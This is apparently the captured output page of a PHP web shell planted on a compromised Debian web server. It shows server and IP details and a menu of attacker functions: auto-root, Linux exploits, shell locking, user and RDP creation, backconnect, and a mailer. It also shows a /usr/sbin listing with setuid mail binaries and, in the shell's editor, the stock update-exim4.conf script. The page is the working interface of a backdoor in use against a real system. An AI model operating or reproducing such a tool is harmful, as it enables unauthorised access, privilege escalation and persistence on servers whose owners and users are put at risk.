Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 216.73.216.105
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
ifk
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
a2disconf
15.89
KB
-rwxr-xr-x
a2dismod
15.89
KB
-rwxr-xr-x
a2dissite
15.89
KB
-rwxr-xr-x
a2enconf
15.89
KB
-rwxr-xr-x
a2enmod
15.89
KB
-rwxr-xr-x
a2ensite
15.89
KB
-rwxr-xr-x
a2query
9.64
KB
-rwxr-xr-x
aa-remove-unknown
3
KB
-rwxr-xr-x
aa-status
8.63
KB
-rwxr-xr-x
aa-teardown
139
B
-rwxr-xr-x
accessdb
14.23
KB
-rwxr-xr-x
acpid
54.71
KB
-rwxr-xr-x
add-shell
860
B
-rwxr-xr-x
addgnupghome
3
KB
-rwxr-xr-x
addgroup
33.71
KB
-rwxr-xr-x
adduser
33.71
KB
-rwxr-xr-x
apache2
707.95
KB
-rwxr-xr-x
apache2ctl
7.06
KB
-rwxr-xr-x
apachectl
7.06
KB
-rwxr-xr-x
apparmor_status
8.63
KB
-rwxr-xr-x
applygnupgdefaults
2.17
KB
-rwxr-xr-x
arp
65.93
KB
-rwxr-xr-x
arpd
75.13
KB
-rwxr-xr-x
arptables
217.42
KB
-rwxr-xr-x
arptables-nft
217.42
KB
-rwxr-xr-x
arptables-nft-restore
217.42
KB
-rwxr-xr-x
arptables-nft-save
217.42
KB
-rwxr-xr-x
arptables-restore
217.42
KB
-rwxr-xr-x
arptables-save
217.42
KB
-rwxr-xr-x
aspell-autobuildhash
13.22
KB
-rwxr-xr-x
atd
30.01
KB
-rwxr-xr-x
biosdecode
22.9
KB
-rwxr-xr-x
blkmapd
30.53
KB
-rwxr-xr-x
check_forensic
952
B
-rwxr-xr-x
chgpasswd
57.83
KB
-rwxr-xr-x
chmem
58.08
KB
-rwxr-xr-x
chpasswd
53.86
KB
-rwxr-xr-x
chroot
42.75
KB
-rwxr-xr-x
cpgr
55.96
KB
-rwxr-xr-x
cppw
55.96
KB
-rwxr-xr-x
cron
54.48
KB
-rwxr-xr-x
dbconfig-generate-include
12.37
KB
-rwxr-xr-x
dbconfig-load-include
5.57
KB
-rwxr-xr-x
delgroup
15.41
KB
-rwxr-xr-x
deluser
15.41
KB
-rwxr-xr-x
dkms
138.51
KB
-rwxr-xr-x
dmidecode
114.7
KB
-rwxr-xr-x
dpkg-preconfigure
3.58
KB
-rwxr-xr-x
dpkg-reconfigure
4.34
KB
-rwxr-xr-x
e2freefrag
14.07
KB
-rwxr-xr-x
e4crypt
26.07
KB
-rwxr-xr-x
e4defrag
33.99
KB
-rwxr-xr-x
ebtables
217.42
KB
-rwxr-xr-x
ebtables-nft
217.42
KB
-rwxr-xr-x
ebtables-nft-restore
217.42
KB
-rwxr-xr-x
ebtables-nft-save
217.42
KB
-rwxr-xr-x
ebtables-restore
217.42
KB
-rwxr-xr-x
ebtables-save
217.42
KB
-rwxr-xr-x
exicyclog
11.03
KB
-rwxr-xr-x
exigrep
10.25
KB
-rwxr-xr-x
exim
1.13
MB
-rwsr-xr-x
exim4
1.13
MB
-rwsr-xr-x
exim_checkaccess
4.74
KB
-rwxr-xr-x
exim_convert4r4
72.76
KB
-rwxr-xr-x
exim_dbmbuild
18
KB
-rwxr-xr-x
exim_dumpdb
22.01
KB
-rwxr-xr-x
exim_fixdb
26.01
KB
-rwxr-xr-x
exim_lock
17.99
KB
-rwxr-xr-x
exim_tidydb
22.01
KB
-rwxr-xr-x
eximstats
148.03
KB
-rwxr-xr-x
exinext
8.08
KB
-rwxr-xr-x
exipick
58.93
KB
-rwxr-xr-x
exiqgrep
5.1
KB
-rwxr-xr-x
exiqsumm
5.04
KB
-rwxr-xr-x
exiwhat
4.34
KB
-rwxr-xr-x
fdformat
34.08
KB
-rwxr-xr-x
filefrag
18.02
KB
-rwxr-xr-x
firewalld
6.86
KB
-rwxr-xr-x
genl
79.05
KB
-rwxr-xr-x
groupadd
65.89
KB
-rwxr-xr-x
groupdel
57.68
KB
-rwxr-xr-x
groupmems
57.87
KB
-rwxr-xr-x
groupmod
72.18
KB
-rwxr-xr-x
grpck
57.8
KB
-rwxr-xr-x
grpconv
53.68
KB
-rwxr-xr-x
grpunconv
53.68
KB
-rwxr-xr-x
grub-bios-setup
926.37
KB
-rwxr-xr-x
grub-install
1.13
MB
-rwxr-xr-x
grub-macbless
914.02
KB
-rwxr-xr-x
grub-mkconfig
8.42
KB
-rwxr-xr-x
grub-mkdevicemap
212.49
KB
-rwxr-xr-x
grub-probe
926.34
KB
-rwxr-xr-x
grub-reboot
4.73
KB
-rwxr-xr-x
grub-set-default
3.47
KB
-rwxr-xr-x
httxt2dbm
13.99
KB
-rwxr-xr-x
iconvconfig
30.66
KB
-rwxr-xr-x
iftop
66.65
KB
-rwxr-xr-x
invoke-rc.d
16.64
KB
-rwxr-xr-x
ip6tables
100.68
KB
-rwxr-xr-x
ip6tables-apply
6.89
KB
-rwxr-xr-x
ip6tables-legacy
100.68
KB
-rwxr-xr-x
ip6tables-legacy-restore
100.68
KB
-rwxr-xr-x
ip6tables-legacy-save
100.68
KB
-rwxr-xr-x
ip6tables-nft
217.42
KB
-rwxr-xr-x
ip6tables-nft-restore
217.42
KB
-rwxr-xr-x
ip6tables-nft-save
217.42
KB
-rwxr-xr-x
ip6tables-restore
100.68
KB
-rwxr-xr-x
ip6tables-restore-translate
217.42
KB
-rwxr-xr-x
ip6tables-save
100.68
KB
-rwxr-xr-x
ip6tables-translate
217.42
KB
-rwxr-xr-x
iptables
100.68
KB
-rwxr-xr-x
iptables-apply
6.89
KB
-rwxr-xr-x
iptables-legacy
100.68
KB
-rwxr-xr-x
iptables-legacy-restore
100.68
KB
-rwxr-xr-x
iptables-legacy-save
100.68
KB
-rwxr-xr-x
iptables-nft
217.42
KB
-rwxr-xr-x
iptables-nft-restore
217.42
KB
-rwxr-xr-x
iptables-nft-save
217.42
KB
-rwxr-xr-x
iptables-restore
100.68
KB
-rwxr-xr-x
iptables-restore-translate
217.42
KB
-rwxr-xr-x
iptables-save
100.68
KB
-rwxr-xr-x
iptables-translate
217.42
KB
-rwxr-xr-x
iptaccount
10.3
KB
-rwxr-xr-x
iptraf-ng
160.01
KB
-rwxr-xr-x
irqbalance
63.41
KB
-rwxr-xr-x
irqbalance-ui
34.67
KB
-rwxr-xr-x
ispell-autobuildhash
15.39
KB
-rwxr-xr-x
ldattach
30.08
KB
-rwxr-xr-x
locale-gen
1.5
KB
-rwxr-xr-x
logrotate
82.09
KB
-rwxr-xr-x
make-ssl-cert
3.78
KB
-rwxr-xr-x
mkinitramfs
11.13
KB
-rwxr-xr-x
mklost+found
13.99
KB
-rwxr-xr-x
mountstats
35.03
KB
-rwxr-xr-x
mysqld
19.99
MB
-rwxr-xr-x
netfilter-persistent
1.04
KB
-rwxr-xr-x
nethogs
58.2
KB
-rwxr-xr-x
newusers
86.39
KB
-rwxr-xr-x
nfacct
21.99
KB
-rwxr-xr-x
nfnl_osf
17.99
KB
-rwxr-xr-x
nfsidmap
22.59
KB
-rwxr-xr-x
nfsiostat
23.35
KB
-rwxr-xr-x
nfsstat
33.26
KB
-rwxr-xr-x
nft
18.07
KB
-rwxr-xr-x
nologin
13.99
KB
-rwxr-xr-x
ownership
14.13
KB
-rwxr-xr-x
pam-auth-update
19.78
KB
-rwxr-xr-x
pam_getenv
2.82
KB
-rwxr-xr-x
pam_timestamp_check
14.3
KB
-rwxr-xr-x
paperconfig
4.07
KB
-rwxr-xr-x
php-fpm5.6
4.35
MB
-rwxr-xr-x
php-fpm7.0
4.28
MB
-rwxr-xr-x
php-fpm7.2
4.76
MB
-rwxr-xr-x
php-fpm7.3
4.56
MB
-rwxr-xr-x
php-fpm7.4
4.52
MB
-rwxr-xr-x
php-fpm8.2
5.34
MB
-rwxr-xr-x
php5dismod
6.21
KB
-rwxr-xr-x
php5enmod
6.21
KB
-rwxr-xr-x
php5query
5.05
KB
-rwxr-xr-x
phpdismod
7.11
KB
-rwxr-xr-x
phpenmod
7.11
KB
-rwxr-xr-x
phpquery
6.24
KB
-rwxr-xr-x
pma-configure
299
B
-rwxr-xr-x
pma-secure
157
B
-rwxr-xr-x
pwck
53.8
KB
-rwxr-xr-x
pwconv
49.7
KB
-rwxr-xr-x
pwunconv
49.68
KB
-rwxr-xr-x
readprofile
22.11
KB
-rwxr-xr-x
remove-default-ispell
2.86
KB
-rwxr-xr-x
remove-default-wordlist
2.86
KB
-rwxr-xr-x
remove-shell
904
B
-rwxr-xr-x
rmail
1.13
MB
-rwsr-xr-x
rmt
58.96
KB
-rwxr-xr-x
rmt-tar
58.96
KB
-rwxr-xr-x
rpc.gssd
75.78
KB
-rwxr-xr-x
rpc.idmapd
39.16
KB
-rwxr-xr-x
rpc.svcgssd
34.95
KB
-rwxr-xr-x
rpcdebug
18.33
KB
-rwxr-xr-x
rpcinfo
34.16
KB
-rwxr-xr-x
rsmtp
1.13
MB
-rwsr-xr-x
rsyslogd
685.64
KB
-rwxr-xr-x
rtcwake
46.08
KB
-rwxr-xr-x
runq
1.13
MB
-rwsr-xr-x
rvnamed-ng
14.34
KB
-rwxr-xr-x
saned
54.28
KB
-rwxr-xr-x
select-default-ispell
3.23
KB
-rwxr-xr-x
select-default-wordlist
3.21
KB
-rwxr-xr-x
sendmail
1.13
MB
-rwsr-xr-x
service
9.05
KB
-rwxr-xr-x
setvesablank
14.3
KB
-rwxr-xr-x
split-logfile
2.36
KB
-rwxr-xr-x
sshd
792.41
KB
-rwxr-xr-x
start-statd
838
B
-rwxr-xr-x
syslog2eximlog
1.41
KB
-rwxr-xr-x
tarcat
936
B
-rwxr-xr-x
tcptraceroute
1.56
KB
-rwxr-xr-x
tcptraceroute.db
1.56
KB
-rwxr-xr-x
traceroute
67.16
KB
-rwxr-xr-x
tzconfig
106
B
-rwxr-xr-x
update-ca-certificates
5.18
KB
-rwxr-xr-x
update-default-aspell
1
KB
-rwxr-xr-x
update-default-ispell
9.68
KB
-rwxr-xr-x
update-default-wordlist
7.5
KB
-rwxr-xr-x
update-dictcommon-aspell
1
KB
-rwxr-xr-x
update-dictcommon-hunspell
782
B
-rwxr-xr-x
update-exim4.conf
14.72
KB
-rwxr-xr-x
update-exim4.conf.template
3.33
KB
-rwxr-xr-x
update-exim4defaults
8.2
KB
-rwxr-xr-x
update-fmtutil
9.58
KB
-rwxr-xr-x
update-grub
64
B
-rwxr-xr-x
update-grub2
64
B
-rwxr-xr-x
update-gsfontmap
470
B
-rwxr-xr-x
update-icon-caches
596
B
-rwxr-xr-x
update-inetd
5.83
KB
-rwxr-xr-x
update-info-dir
1.66
KB
-rwxr-xr-x
update-initramfs
7.16
KB
-rwxr-xr-x
update-java-alternatives
3.09
KB
-rwxr-xr-x
update-language
9.37
KB
-rwxr-xr-x
update-language-dat
9.37
KB
-rwxr-xr-x
update-language-def
9.37
KB
-rwxr-xr-x
update-language-lua
9.37
KB
-rwxr-xr-x
update-locale
2.99
KB
-rwxr-xr-x
update-mime
8.84
KB
-rwxr-xr-x
update-passwd
34.41
KB
-rwxr-xr-x
update-pciids
2.84
KB
-rwxr-xr-x
update-python-modules
19.33
KB
-rwxr-xr-x
update-rc.d
16.76
KB
-rwxr-xr-x
update-texmf
2.6
KB
-rwxr-xr-x
update-texmf-config
1.5
KB
-rwxr-xr-x
update-tl-stacked-conffile
9.58
KB
-rwxr-xr-x
update-updmap
9.58
KB
-rwxr-xr-x
upgrade-from-grub-legacy
1.56
KB
-rwxr-xr-x
useradd
127.25
KB
-rwxr-xr-x
userdel
90.45
KB
-rwxr-xr-x
usermod
123.06
KB
-rwxr-xr-x
validlocale
1.73
KB
-rwxr-xr-x
vcstime
14.18
KB
-rwxr-xr-x
vigr
60.18
KB
-rwxr-xr-x
vipw
60.18
KB
-rwxr-xr-x
visudo
205.79
KB
-rwxr-xr-x
vpddecode
14.27
KB
-rwxr-xr-x
xtables-legacy-multi
100.68
KB
-rwxr-xr-x
xtables-monitor
217.42
KB
-rwxr-xr-x
xtables-nft-multi
217.42
KB
-rwxr-xr-x
zic
54.55
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update-exim4.conf
#!/bin/sh # update-exim4.conf(8) - Generate /var/lib/exim4/config.autogenerated set -e set -C set -f UPEX4C_confdir="/etc/exim4" UPEX4C_sections="main acl router transport retry rewrite auth" # list of ue4cc options that need to support both colons and # semicolons as separators. dc_other_hostnames and dc_smarthost # has special handling. UPEX4C_semicolon="dc_local_interfaces dc_relay_nets dc_relay_domains" EXIM="/usr/sbin/exim4" UPEX4C_verbose=no UPEX4C_autoconfigfile=/var/lib/exim4/config.autogenerated UPEX4C_outputfile="${UPEX4C_autoconfigfile}" UPEX4C_version="4.92-8+deb10u9" usage() { cat <<EOF $0 - Generate exim4 configuration files Options: -v|--verbose - Enable verbose mode, tell about ignored files -h|--help - Show this message --keepcomments - Do not remove comment lines --removecomments - Remove comment lines -o|--output file - write output to file instead of ${UPEX4C_outputfile} -d|--confdir directory - read input from given directory instead of ${UPEX4C_confdir} --check - Test generated file for validity and remove it again. EOF } ## Parse commandline TEMP=$(getopt -n update-exim4.conf \ -l check,keepcomments,removecomments,output:,confdir:,help,verbose -- \ +o:d:vh "$@") if test "$?" != 0; then echo "Terminating..." >&2 exit 1 fi eval set -- ${TEMP} while test "$1" != "--"; do case $1 in -h|--help) usage exit 0 ;; -v|--verbose) UPEX4C_verbose=yes ;; --keepcomments) UPEX4C_comments=yes ;; --removecomments) UPEX4C_comments=no ;; --check) UPEX4C_check=yes ;; -o|--output) shift UPEX4C_outputfile="$1" ;; -d|--confdir) shift UPEX4C_confdir="$1" ;; esac shift done shift # No non-option arguments allowed. if [ "$#" -ne 0 ]; then echo "No non option arguments ($@) allowed" >&2 usage >&2 exit 1 fi # exit immediately if /etc/exim4/exim4.conf exists and -o was not specified if [ -e /etc/exim4/exim4.conf ] && \ [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] ; then exit 0 fi UE4CC="$UPEX4C_confdir/update-exim4.conf.conf" UPEX4C_confd="$UPEX4C_confdir/conf.d" [ -d "$(dirname "$UPEX4C_outputfile")" ] || \ { printf "$0: Error, missing $(dirname "$UPEX4C_outputfile"), exiting.\n" 1>&2 ; exit 1 ; } if [ -f "$UE4CC" ]; then . "$UE4CC" else echo >&2 "$0: Error, no $UE4CC, exiting." exit 1 fi UPEX4C_autoconfigfile=/var/lib/exim4/config.autogenerated if [ "$(dirname ${UPEX4C_outputfile})" = "/var/lib/exim4" ] ; then UPEX4C_tmp="${UPEX4C_outputfile}.tmp" else UPEX4C_tmp="$(tempfile -m600 -p ex4)" fi lowerpipe() { tr 'A-Z' 'a-z' } lowercase() { echo "$*" | lowerpipe } check_ascii_pipe() { IN="$(cat)" # Use "abcdef... instead of a a-z or [:alnum:] here since the alternatives # will also match non-ascii characters. OUT="$(echo $IN | sed 's/[^-0-9ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\/\.!*@_~:;< \[\]]/_/g')" if [ "$OUT" != "$IN" ]; then echo >&2 "$0: non-ascii value $IN read from $UE4CC, sanitizing to $OUT" fi echo $OUT } [ "${CFILEMODE}" = "" ] && CFILEMODE=644 [ "${dc_use_split_config}" = "" ] && dc_use_split_config='false' [ "${dc_localdelivery}" = "" ] && dc_localdelivery='mail_spool' [ "${UPEX4C_comments:-}" = "" ] && UPEX4C_comments="${ue4c_keepcomments:-no}" TEMPLATEFILE="${UPEX4C_confdir}/exim4.conf.template" dc_use_split_config="$(lowercase $dc_use_split_config)" UPEX4C_verbose="$(lowercase $UPEX4C_verbose)" if [ "${dc_use_split_config}" = "true" ]; then [ "${UPEX4C_verbose}" = "yes" ] && \ echo "using split configuration scheme from ${UPEX4C_confd}" if ! [ -d "${UPEX4C_confd}" ]; then printf >&2 "$0: Error, no ${UPEX4C_confd}, exiting.\n" exit 1 fi else [ "${UPEX4C_verbose}" = "yes" ] && \ echo "using non-split configuration scheme from ${TEMPLATEFILE}" fi # take only the first word from /etc/mailname mailname="$(< /etc/mailname sed -n 's/\([-[:alnum:]@\.]\+\).*/\1/;p;q' | lowerpipe | check_ascii_pipe)" # barf if lookups are found. They have never been supported here. if echo " ${dc_other_hostnames} ${dc_smarthost} ${dc_local_interfaces} ${dc_relay_nets} ${dc_relay_domains}"| grep -q '[[:space:]]\(partial-\)\?\(cdb\|dbm\|dbmnz\|\(d\|ipl\|\(n\?wild\)\?l\)search\|nis\)\([\*@]\)\?[[:space:]]*;'; then echo >&2 "WARNING: using 'lookup;' constructs in $UE4CC has never been supported! See /usr/share/doc/exim4-config/NEWS.Debian.gz for details." fi dc_other_hostnames="$(lowercase $dc_other_hostnames | check_ascii_pipe)" # add localhost, get rid of spaces, trailing (semi)colons and make the list # colon separated local_domains="$(echo @:localhost:"${dc_other_hostnames}" | \ sed -e 's/[;: ]*$//' -e 's/ *//' -e 's/;/:/g')" # run-parts emulation, stolen from Branden's /etc/X11/Xsession # Addition: Use file.rul instead if file if it exists. run_parts () { # reset LC_COLLATE unset LANG LC_COLLATE LC_ALL if [ -z "$1" ]; then errormessage "$0: internal run_parts called without an argument" fi if [ ! -d "$1" ]; then errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory." fi for F in $(ls $1); do if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then if [ -f "$1/$F" ] ; then if [ -f "$1/${F}.rul" ] ; then echo "$1/${F}.rul" else echo "$1/$F" fi fi else if [ "${UPEX4C_verbose}" = "yes" ] && \ [ -f "$1/$F" ] && \ ! expr "$F" : '[[:alnum:]_-]\+\.rul'> /dev/null 2>&1 ; then echo \ "internal run-parts: ignoring file: $1/$F" 1>&2 fi fi done; } # also from Branden errormessage () { # pretty-print messages of arbitrary length (no trailing newline) echo "$*" | fold -s -w ${COLUMNS:-80} >&2; } cat_parts() { if [ -z "$1" ]; then errormessage "$0: internal cat_parts called without an argument" fi if [ ! -d "$1" ]; then errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory." fi for file in $(run_parts $1); do echo "#####################################################" echo "### $file" echo "#####################################################" cat "$file" echo echo "#####################################################" echo "### end $file" echo "#####################################################" done } gentmpconf() { rm -f "${UPEX4C_tmp}" touch "${UPEX4C_tmp}" # this can be removed by the end of 2007 #chown --reference=${TEMPLATEFILE} \ # ${UPEX4C_tmp} ${UPEX4C_outputfile} #chmod --reference=${TEMPLATEFILE} \ # ${UPEX4C_tmp} ${UPEX4C_outputfile} if [ "$(id -u)" = "0" ]; then chown root:Debian-exim "${UPEX4C_tmp}" [ -e "${UPEX4C_outputfile}" ] && \ chown root:Debian-exim "${UPEX4C_outputfile}" fi chmod 640 "${UPEX4C_tmp}" if [ -e "${UPEX4C_outputfile}" ]; then chmod 640 "${UPEX4C_outputfile}" fi } removecomments(){ if [ "${UPEX4C_comments}" = "no" ] ; then grep -E -v '^[[:space:]]*#' | sed -e '/^$/N;/\n$/D' ; else cat fi } gentmpconf cat << EOF >> "${UPEX4C_tmp}" ######### # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # This file was generated dynamically from EOF if [ "${dc_use_split_config}" = "true" ] ; then cat << EOF >> "${UPEX4C_tmp}" # split config files in the $UPEX4C_confd/ directory. EOF else cat << EOF >> "${UPEX4C_tmp}" # non-split config ($UPEX4C_confdir/exim4.conf.localmacros # and $UPEX4C_confdir/exim4.conf.template). EOF fi cat << EOF >> "${UPEX4C_tmp}" # The config files are supplemented with package installation/configuration # settings managed by debconf. This data is stored in # $UPEX4C_confdir/update-exim4.conf.conf # Any changes you make here will be lost. # See /usr/share/doc/exim4-base/README.Debian.gz and update-exim4.conf(8) # for instructions of customization. # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING ######### EOF # handle ";" in input values as separator change for field in $UPEX4C_semicolon; do if eval echo \$$field | grep -q ";"; then eval temp=\$$field if ! echo $temp | grep -q "^<"; then temp="<; $temp" eval "$field='$temp'" fi fi done # fix up smarthost line: change semicolons into single colons dc_smarthost="$(lowercase $dc_smarthost | check_ascii_pipe | sed 's/;/:/g')" dc_relay_nets="$(lowercase $dc_relay_nets | check_ascii_pipe)" if echo "$dc_relay_nets" | grep -q '^<;'; then dc_relay_nets="$dc_relay_nets ; 127.0.0.1 ; ::1" else dc_relay_nets="$dc_relay_nets : 127.0.0.1 : ::::1" fi dc_eximconfig_configtype="$(lowercase $dc_eximconfig_configtype | check_ascii_pipe)" dc_hide_mailname="$(lowercase $dc_hide_mailname | check_ascii_pipe)" dc_readhost="$(lowercase $dc_readhost | check_ascii_pipe)" case "$dc_eximconfig_configtype" in satellite|smarthost) if [ "${dc_hide_mailname}" = "true" ] && [ -n "${dc_readhost}" ] ; then hide_mailname=1 fi ;; local) ;; internet) ;; none|*) if [ "${dc_use_split_config}" = "true" ] ; then for i in ${UPEX4C_sections} ; do cat_parts "${UPEX4C_confd}/$i" done | \ removecomments \ >> "${UPEX4C_tmp}" else LOCALMACROS="" if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then LOCALMACROS="/etc/exim4/exim4.conf.localmacros" fi cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" | \ removecomments \ >> "${UPEX4C_tmp}" fi mv -f "${UPEX4C_tmp}" "${UPEX4C_outputfile}" chmod "${CFILEMODE}" "${UPEX4C_outputfile}" [ "${UPEX4C_verbose}" = "yes" ] && \ echo "Not substituting variables since conftype is none (or other)" exit 0 ;; esac UPEX4C_macros="##############################################\n" UPEX4C_macros="${UPEX4C_macros}# the following macro definitions were created\n" UPEX4C_macros="${UPEX4C_macros}# dynamically by $0\n" preprocess_macro() { macroname="${1:-}" shift contents="$(lowercase ${@} | check_ascii_pipe)" printf "%s" ".ifndef $macroname\n$macroname=$contents\n.endif\n" } seed_macro() { UPEX4C_macros="${UPEX4C_macros}$(preprocess_macro "$1" "$2")" } file2macros() { file="$1" < $1 \ sed -n '/^[[:upper:]]/p;' | \ grep -v '^CFILEMODE=' | \ while read line; do errormessage "undocumented line $line found in $1, generating exim macro" left="$(echo $line | sed 's/\([^=]*\).*/\1/')" right="$(echo $line | sed 's/[^=]*=\(.*\)/\1/')" preprocess_macro "$left" "$right" done } if [ "${dc_local_interfaces}" != "" ] ; then seed_macro "MAIN_LOCAL_INTERFACES" "${dc_local_interfaces}" fi if [ "${dc_minimaldns}" = "true" ] ; then seed_macro "DC_minimaldns" "1" if guessed_name="$(hostname --fqdn | lowerpipe | check_ascii_pipe | grep '\.')" ; then seed_macro "MAIN_HARDCODE_PRIMARY_HOSTNAME" "$guessed_name" else errormessage "hostname --fqdn did not return a fully qualified name, dc_minimaldns will not work. Please fix your /etc/hosts setup." fi fi if [ -n "${hide_mailname:-}" ]; then seed_macro "HIDE_MAILNAME" "${hide_mailname:-}" fi seed_macro "MAIN_PACKAGE_VERSION" "$UPEX4C_version" seed_macro "MAIN_LOCAL_DOMAINS" "${local_domains}" seed_macro "MAIN_RELAY_TO_DOMAINS" "${dc_relay_domains}" seed_macro "ETC_MAILNAME" "$mailname" seed_macro "LOCAL_DELIVERY" "${dc_localdelivery}" seed_macro "MAIN_RELAY_NETS" "${dc_relay_nets}" seed_macro "DCreadhost" "${dc_readhost}" seed_macro "DCsmarthost" "${dc_smarthost}" seed_macro "DC_eximconfig_configtype" "${dc_eximconfig_configtype}" seed_macro "DCconfig_${dc_eximconfig_configtype}" "1" # dump everything starting with a capital into macros as well # this is going to stay undocumented, but fixes PEBCAK where people write # macros into ue4cc. UPEX4C_macros="${UPEX4C_macros}$(file2macros $UE4CC)" UPEX4C_macros="${UPEX4C_macros}##############################################\n" case "${dc_use_split_config}" in true) for i in ${UPEX4C_sections} ; do echo "# begin processing $i #####" cat_parts "${UPEX4C_confd}/$i" echo "# end of $i #####" done \ | removecomments \ | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \ >> "${UPEX4C_tmp}" RELEVANTTEMPLATE="$UPEX4C_confd" ;; false) if [ ! -r "$TEMPLATEFILE" ] ; then echo "Error: Unsplit config selected and $TEMPLATEFILE missing ... exiting" 1>&2 exit 1 fi LOCALMACROS="" if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then LOCALMACROS="${UPEX4C_confdir}/exim4.conf.localmacros" fi cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" \ | removecomments \ | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \ >> "${UPEX4C_tmp}" RELEVANTTEMPLATE="$TEMPLATEFILE" ;; *) errormessage "Invalid value for dc_use_split_config: \"${dc_use_split_config}\", exiting." rm -f "${UPEX4C_tmp}" exit 1 ;; esac # check for left-over DEBCONF strings that may cause installation trouble # (fix PEBCAK for people who don't accept conffile changes and don't # read docs) if grep -qr '^[^#]*DEBCONF[[:lower:]_]\+DEBCONF' $RELEVANTTEMPLATE \ && ! grep -qr '^[[:space:]]*DEBCONFstringOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then errormessage "DEBCONFsomethingDEBCONF found in exim configuration. This is most probably caused by you upgrading to exim4 4.67-3 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-2 and 4.67-4" fi # check for left-over UPEX4CmacrosUPEX4C comment string that may cause # installation trouble (fix PEBCAK for people who don't accept conffile # changes and don't read docs) if grep -qr '# UPEX4CmacrosUPEX4C' $RELEVANTTEMPLATE \ && ! grep -qr '^[[:space:]]*UPEX4CmacrosOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then errormessage "UPEX4CmacrosUPEX4C found in an exim configuration comment. This is most probably caused by you upgrading to exim4 4.67-5 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-5" fi # test validity if called without -o or if --check was supplied if [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] || \ [ "x${UPEX4C_check}" = "xyes" ]; then if [ -x "${EXIM}" ] ; then if ! "${EXIM}" -C "${UPEX4C_tmp}" -bV > /dev/null ; then # we have an error in the configuration file. Do not install # and activate. However, errors in string expansions inside # the configuration file are not detected by this check! errormessage "Invalid new configfile ${UPEX4C_tmp}, not installing ${UPEX4C_tmp} to ${UPEX4C_outputfile}" exit 1 fi fi fi if [ "x${UPEX4C_check}" = "xyes" ]; then rm -f "${UPEX4C_tmp}" exit 0 fi mv -f "${UPEX4C_tmp}" "${UPEX4C_outputfile}" chmod "${CFILEMODE}" "${UPEX4C_outputfile}" # end of file
Close